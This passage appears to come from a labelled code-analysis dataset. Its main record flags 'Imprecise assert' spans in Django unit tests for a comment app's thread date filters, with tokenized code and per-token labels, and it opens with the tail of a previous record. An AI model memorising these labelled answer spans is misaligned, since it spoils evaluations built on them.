"\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "out_", "(_", "self_", "._", "END", "\\u", "DEF", "\\u", "BLOCK_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Strip", " ", "any", " ", "empty", " ", "<", "tt", ">", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s_", "=_", "re_", "._", "sub_", "(_", "r", "'<", "tt", " ", "class", "=\"", "[\\\\", "w", "+]", "\">", "</", "tt", ">'_", ",_", "''_", ",_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Write", " ", "the", " ", "line", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "out_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "def", "\\u", "name_", "and_", "startin", "g", "\\u", "def", "\\u", "block_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "out_", "(_", "'<", "/", "div", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "div", "'", "s", " ", "if", " ", "we", "'", "re", " ", "startin", "g", " ", "a", " ", "def", " ", "block", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "ADD", "\\u", "DEF", "\\u", "BLOCKS", "_", "and_", "def", "\\u", "name_", "and_", "startin", "g", "\\u", "def", "\\u", "block_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "line_", "[_", "-_", "2_", "]_", "[_", "1_", "]_", "==_", "':'_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "indentation_", "=_", "(_", "''_", "._", "join_", "(_", "self_", "._", "indent", "s_", ")_", "+_", "'", " ", " ", " ", " ", "'_", ")_", "._", "replace_", "(_", "'", " ", "'_", ",_", "'+'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "linenum", "\\u", "padding_", "=_", "'+'_", "*_", "self_", "._", "linenum", "\\u", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "self_", "._", "context", "\\u", "name_", "(_", "def", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "out_", "(_", "self_", "._", "START", "\\u", "DEF", "\\u", "BLOCK_", "%_", "(_", "name_", ",_", "linenum", "\\u", "padding_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "indentation_", ",_", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "def", "\\u", "name_", "=_", "def", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "def", "\\u", "type_", "=_", "def", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
c4all/c4all/admin/tests/thread.py
[ { "content": " def test_get_threads_filter_1_day_success(self):\n time_period = 1\n\n t1 = Thread.objects.create(site=self.site, url='test_url')\n t2 = Thread.objects.create(\n site=self.site,\n url='test_url_2',\n )\n t2.created = now() - timedelta(days=time_period)\n t2.save()\n\n self.client.login(email=\"donald@duck.com\", password=\"password\")\n\n resp = self.client.post(\n reverse(\"c4all_admin:get_threads\", args=[self.site.id, ]),\n {'interval': 'today'}\n )\n\n threads = resp.context['threads'].object_list\n\n self.assertTrue(t1 in threads)\n self.assertTrue(t2 not in threads)", "metadata": "root.AdminThreadTestCases.test_get_threads_filter_1_day_success", "header": "['class', 'AdminThreadTestCases', '(', 'TestCase', ')', ':', '___EOS___']", "index": 32 }, { "content": " def test_get_threads_filter_1_day_borderline_case(self):\n t1 = Thread.objects.create(site=self.site, url='test_url')\n t1.created = date.today()\n t1.save()\n\n self.client.login(email=\"donald@duck.com\", password=\"password\")\n\n resp = self.client.post(\n reverse(\"c4all_admin:get_threads\", args=[self.site.id, ]),\n {'interval': 'today'}\n )\n\n threads = resp.context['threads'].object_list\n\n self.assertTrue(t1 in threads)", "metadata": "root.AdminThreadTestCases.test_get_threads_filter_1_day_borderline_case", "header": "['class', 'AdminThreadTestCases', '(', 'TestCase', ')', ':', '___EOS___']", "index": 55 }, { "content": " def test_get_threads_filter_1_week_success(self):\n time_period = 7\n\n t1 = Thread.objects.create(site=self.site, url='test_url')\n t2 = Thread.objects.create(\n site=self.site,\n url='test_url_2',\n )\n t2.created = now() - timedelta(days=time_period)\n t2.save()\n\n self.client.login(email=\"donald@duck.com\", password=\"password\")\n\n resp = self.client.post(\n reverse(\"c4all_admin:get_threads\", args=[self.site.id, ]),\n {'interval': 'this_week'}\n )\n\n threads = resp.context['threads'].object_list\n\n self.assertTrue(t1 in threads)\n self.assertTrue(t2 not in threads)", "metadata": "root.AdminThreadTestCases.test_get_threads_filter_1_week_success", "header": "['class', 'AdminThreadTestCases', '(', 'TestCase', ')', ':', '___EOS___']", "index": 71 }, { "content": " def test_get_threads_filter_1_week_borderline_case(self):\n t1 = Thread.objects.create(site=self.site, url='test_url')\n t1.created = date.today() - timedelta(date.today().weekday())\n t1.save()\n\n self.client.login(email=\"donald@duck.com\", password=\"password\")\n\n resp = self.client.post(\n reverse(\"c4all_admin:get_threads\", args=[self.site.id, ]),\n {'interval': 'this_week'}\n )\n\n threads = resp.context['threads'].object_list\n\n self.assertTrue(t1 in threads)", "metadata": "root.AdminThreadTestCases.test_get_threads_filter_1_week_borderline_case", "header": "['class', 'AdminThreadTestCases', '(', 'TestCase', ')', ':', '___EOS___']", "index": 94 }, { "content": " def test_get_threads_filter_1_month_success(self):\n time_period = now().day\n\n t1 = Thread.objects.create(site=self.site, url='test_url')\n t2 = Thread.objects.create(\n site=self.site,\n url='test_url_2',\n )\n t2.created = now() - timedelta(days=time_period)\n t2.save()\n\n self.client.login(email=\"donald@duck.com\", password=\"password\")\n\n resp = self.client.post(\n reverse(\"c4all_admin:get_threads\", args=[self.site.id, ]),\n {'interval': 'this_month'}\n )\n\n threads = resp.context['threads'].object_list\n\n self.assertTrue(t1 in threads)\n self.assertTrue(t2 not in threads)", "metadata": "root.AdminThreadTestCases.test_get_threads_filter_1_month_success", "header": "['class', 'AdminThreadTestCases', '(', 'TestCase', ')', ':', '___EOS___']", "index": 110 }, { "content": " def test_get_threads_filter_1_month_borderline(self):\n t1 = Thread.objects.create(site=self.site, url='test_url')\n t1.created = date.today() - timedelta(date.today().day - 1)\n t1.save()\n\n self.client.login(email=\"donald@duck.com\", password=\"password\")\n\n resp = self.client.post(\n reverse(\"c4all_admin:get_threads\", args=[self.site.id, ]),\n {'interval': 'this_month'}\n )\n\n threads = resp.context['threads'].object_list\n\n self.assertTrue(t1 in threads)", "metadata": "root.AdminThreadTestCases.test_get_threads_filter_1_month_borderline", "header": "['class', 'AdminThreadTestCases', '(', 'TestCase', ')', ':', '___EOS___']", "index": 133 }, { "content": " def test_get_threads_filter_all_time_success(self):\n time_period = 100\n\n t1 = Thread.objects.create(site=self.site, url='test_url')\n t2 = Thread.objects.create(\n site=self.site,\n url='test_url_2',\n )\n t2.created = now() - timedelta(weeks=time_period)\n t2.save()\n\n self.client.login(email=\"donald@duck.com\", password=\"password\")\n\n resp = self.client.post(\n reverse(\"c4all_admin:get_threads\", args=[self.site.id, ]),\n {'interval': 'all_dates'}\n )\n\n threads = resp.context['threads'].object_list\n\n self.assertTrue(t1 in threads)\n self.assertTrue(t2 in threads)", "metadata": "root.AdminThreadTestCases.test_get_threads_filter_all_time_success", "header": "['class', 'AdminThreadTestCases', '(', 'TestCase', ')', ':', '___EOS___']", "index": 149 }, { "content": " def test_get_threads_returns_all_threads_if_period_not_provided_post(self):\n t1 = Thread.objects.create(site=self.site, url='test_url')\n t2 = Thread.objects.create(site=self.site, url='test_url_2')\n self.client.login(email=\"donald@duck.com\", password=\"password\")\n\n resp = self.client.post(reverse(\"c4all_admin:get_threads\", args=[self.site.id, ]))\n\n threads = resp.context['threads'].object_list\n\n self.assertTrue(t1 in threads)\n self.assertTrue(t2 in threads)", "metadata": "root.AdminThreadTestCases.test_get_threads_returns_all_threads_if_period_not_provided_post", "header": "['class', 'AdminThreadTestCases', '(', 'TestCase', ')', ':', '___EOS___']", "index": 172 }, { "content": " def test_get_threads_returns_all_threads_if_period_not_provided_get(self):\n t1 = Thread.objects.create(site=self.site, url='test_url')\n t2 = Thread.objects.create(site=self.site, url='test_url_2')\n self.client.login(email=\"donald@duck.com\", password=\"password\")\n\n resp = self.client.get(reverse(\"c4all_admin:get_threads\", args=[self.site.id, ]))\n\n threads = resp.context['threads'].object_list\n\n self.assertTrue(t1 in threads)\n self.assertTrue(t2 in threads)", "metadata": "root.AdminThreadTestCases.test_get_threads_returns_all_threads_if_period_not_provided_get", "header": "['class', 'AdminThreadTestCases', '(', 'TestCase', ')', ':', '___EOS___']", "index": 184 }, { "content": " def test_get_threads_returns_all_threads_if_no_id_token(self):\n self.client.login(email=\"donald@duck.com\", password=\"password\")\n\n t = Thread.objects.create(site=self.site, url='test_url')\n\n resp = self.client.get(reverse(\"c4all_admin:get_threads\"))\n\n threads = resp.context['threads'].object_list\n\n self.assertEqual(resp.status_code, 200)\n self.assertTrue(t in threads)", "metadata": "root.AdminThreadTestCases.test_get_threads_returns_all_threads_if_no_id_token", "header": "['class', 'AdminThreadTestCases', '(', 'TestCase', ')', ':', '___EOS___']", "index": 204 }, { "content": " def test_get_threads_returns_threads_from_site_with_lowest_id_if_site_id_not_provided(self):\n self.site_2 = Site.objects.create()\n\n t1 = Thread.objects.create(site=self.site, url='test_url')\n t2 = Thread.objects.create(site=self.site_2, url='test_url_2')\n self.client.login(email=\"donald@duck.com\", password=\"password\")\n\n resp = self.client.get(reverse(\"c4all_admin:get_threads\"))\n\n threads = resp.context['threads'].object_list\n\n self.assertTrue(t1 in threads)\n self.assertTrue(t2 not in threads)", "metadata": "root.AdminThreadTestCases.test_get_threads_returns_threads_from_site_with_lowest_id_if_site_id_not_provided", "header": "['class', 'AdminThreadTestCases', '(', 'TestCase', ')', ':', '___EOS___']", "index": 254 } ]
[ { "span": "self.assertTrue(t1 in threads)", "start_line": 52, "start_column": 8, "end_line": 52, "end_column": 38 }, { "span": "self.assertTrue(t2 not in threads)", "start_line": 53, "start_column": 8, "end_line": 53, "end_column": 42 }, { "span": "self.assertTrue(t1 in threads)", "start_line": 69, "start_column": 8, "end_line": 69, "end_column": 38 }, { "span": "self.assertTrue(t1 in threads)", "start_line": 91, "start_column": 8, "end_line": 91, "end_column": 38 }, { "span": "self.assertTrue(t2 not in threads)", "start_line": 92, "start_column": 8, "end_line": 92, "end_column": 42 }, { "span": "self.assertTrue(t1 in threads)", "start_line": 108, "start_column": 8, "end_line": 108, "end_column": 38 }, { "span": "self.assertTrue(t1 in threads)", "start_line": 130, "start_column": 8, "end_line": 130, "end_column": 38 }, { "span": "self.assertTrue(t2 not in threads)", "start_line": 131, "start_column": 8, "end_line": 131, "end_column": 42 }, { "span": "self.assertTrue(t1 in threads)", "start_line": 147, "start_column": 8, "end_line": 147, "end_column": 38 }, { "span": "self.assertTrue(t1 in threads)", "start_line": 169, "start_column": 8, "end_line": 169, "end_column": 38 }, { "span": "self.assertTrue(t2 in threads)", "start_line": 170, "start_column": 8, "end_line": 170, "end_column": 38 }, { "span": "self.assertTrue(t1 in threads)", "start_line": 181, "start_column": 8, "end_line": 181, "end_column": 38 }, { "span": "self.assertTrue(t2 in threads)", "start_line": 182, "start_column": 8, "end_line": 182, "end_column": 38 }, { "span": "self.assertTrue(t1 in threads)", "start_line": 193, "start_column": 8, "end_line": 193, "end_column": 38 }, { "span": "self.assertTrue(t2 in threads)", "start_line": 194, "start_column": 8, "end_line": 194, "end_column": 38 }, { "span": "self.assertTrue(t in threads)", "start_line": 214, "start_column": 8, "end_line": 214, "end_column": 37 }, { "span": "self.assertTrue(t1 in threads)", "start_line": 265, "start_column": 8, "end_line": 265, "end_column": 38 }, { "span": "self.assertTrue(t2 not in threads)", "start_line": 266, "start_column": 8, "end_line": 266, "end_column": 42 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Admi", "n", "Thread", "Test", "Cases_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "thread", "s", "\\u", "filter", "\\u", "1", "\\u", "day", "\\u", "success_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time", "\\u", "period_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t1_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "site_", "=_", "self_", "._", "site_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "test\\u", "url", "\\u", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "._", "created_", "=_", "now_", "(_", ")_", "-_", "timedelta_", "(_", "days_", "=_", "time", "\\u", "period_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "login_", "(_", "email_", "=_", "\"", "dona", "ld", "@", "duck", ".", "com", "\"_", ",_", "password_", "=_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "reverse_", "(_", "\"", "c4", "all", "\\u", "admin", ":", "get", "\\u", "thread", "s", "\"_", ",_", "args_", "=_", "[_", "self_", "._", "site_", "._", "id_", ",_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "interval", "'_", ":_", "'", "toda", "y", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "resp_", "._", "context_", "[_", "'", "thread", "s", "'_", "]_", "._", "object\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t1_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t2_", "not_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Admi", "n", "Thread", "Test", "Cases_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "thread", "s", "\\u", "filter", "\\u", "1", "\\u", "day", "\\u", "border", "line", "\\u", "case_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "._", "created_", "=_", "date_", "._", "today_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "login_", "(_", "email_", "=_", "\"", "dona", "ld", "@", "duck", ".", "com", "\"_", ",_", "password_", "=_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "reverse_", "(_", "\"", "c4", "all", "\\u", "admin", ":", "get", "\\u", "thread", "s", "\"_", ",_", "args_", "=_", "[_", "self_", "._", "site_", "._", "id_", ",_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "interval", "'_", ":_", "'", "toda", "y", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "resp_", "._", "context_", "[_", "'", "thread", "s", "'_", "]_", "._", "object\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t1_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Admi", "n", "Thread", "Test", "Cases_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "thread", "s", "\\u", "filter", "\\u", "1", "\\u", "week", "\\u", "success_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time", "\\u", "period_", "=_", "7_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t1_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "site_", "=_", "self_", "._", "site_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "test\\u", "url", "\\u", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "._", "created_", "=_", "now_", "(_", ")_", "-_", "timedelta_", "(_", "days_", "=_", "time", "\\u", "period_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "login_", "(_", "email_", "=_", "\"", "dona", "ld", "@", "duck", ".", "com", "\"_", ",_", "password_", "=_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "reverse_", "(_", "\"", "c4", "all", "\\u", "admin", ":", "get", "\\u", "thread", "s", "\"_", ",_", "args_", "=_", "[_", "self_", "._", "site_", "._", "id_", ",_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "interval", "'_", ":_", "'", "this", "\\u", "week", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "resp_", "._", "context_", "[_", "'", "thread", "s", "'_", "]_", "._", "object\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t1_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t2_", "not_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Admi", "n", "Thread", "Test", "Cases_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "thread", "s", "\\u", "filter", "\\u", "1", "\\u", "week", "\\u", "border", "line", "\\u", "case_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "._", "created_", "=_", "date_", "._", "today_", "(_", ")_", "-_", "timedelta_", "(_", "date_", "._", "today_", "(_", ")_", "._", "weekday_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "login_", "(_", "email_", "=_", "\"", "dona", "ld", "@", "duck", ".", "com", "\"_", ",_", "password_", "=_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "reverse_", "(_", "\"", "c4", "all", "\\u", "admin", ":", "get", "\\u", "thread", "s", "\"_", ",_", "args_", "=_", "[_", "self_", "._", "site_", "._", "id_", ",_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "interval", "'_", ":_", "'", "this", "\\u", "week", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "resp_", "._", "context_", "[_", "'", "thread", "s", "'_", "]_", "._", "object\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t1_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Admi", "n", "Thread", "Test", "Cases_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "thread", "s", "\\u", "filter", "\\u", "1", "\\u", "month", "\\u", "success_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time", "\\u", "period_", "=_", "now_", "(_", ")_", "._", "day_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t1_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "site_", "=_", "self_", "._", "site_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "test\\u", "url", "\\u", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "._", "created_", "=_", "now_", "(_", ")_", "-_", "timedelta_", "(_", "days_", "=_", "time", "\\u", "period_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "login_", "(_", "email_", "=_", "\"", "dona", "ld", "@", "duck", ".", "com", "\"_", ",_", "password_", "=_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "reverse_", "(_", "\"", "c4", "all", "\\u", "admin", ":", "get", "\\u", "thread", "s", "\"_", ",_", "args_", "=_", "[_", "self_", "._", "site_", "._", "id_", ",_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "interval", "'_", ":_", "'", "this", "\\u", "month", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "resp_", "._", "context_", "[_", "'", "thread", "s", "'_", "]_", "._", "object\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t1_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t2_", "not_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Admi", "n", "Thread", "Test", "Cases_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "thread", "s", "\\u", "filter", "\\u", "1", "\\u", "month", "\\u", "border", "line_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "._", "created_", "=_", "date_", "._", "today_", "(_", ")_", "-_", "timedelta_", "(_", "date_", "._", "today_", "(_", ")_", "._", "day_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "login_", "(_", "email_", "=_", "\"", "dona", "ld", "@", "duck", ".", "com", "\"_", ",_", "password_", "=_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "reverse_", "(_", "\"", "c4", "all", "\\u", "admin", ":", "get", "\\u", "thread", "s", "\"_", ",_", "args_", "=_", "[_", "self_", "._", "site_", "._", "id_", ",_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "interval", "'_", ":_", "'", "this", "\\u", "month", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "resp_", "._", "context_", "[_", "'", "thread", "s", "'_", "]_", "._", "object\\u", "list_", 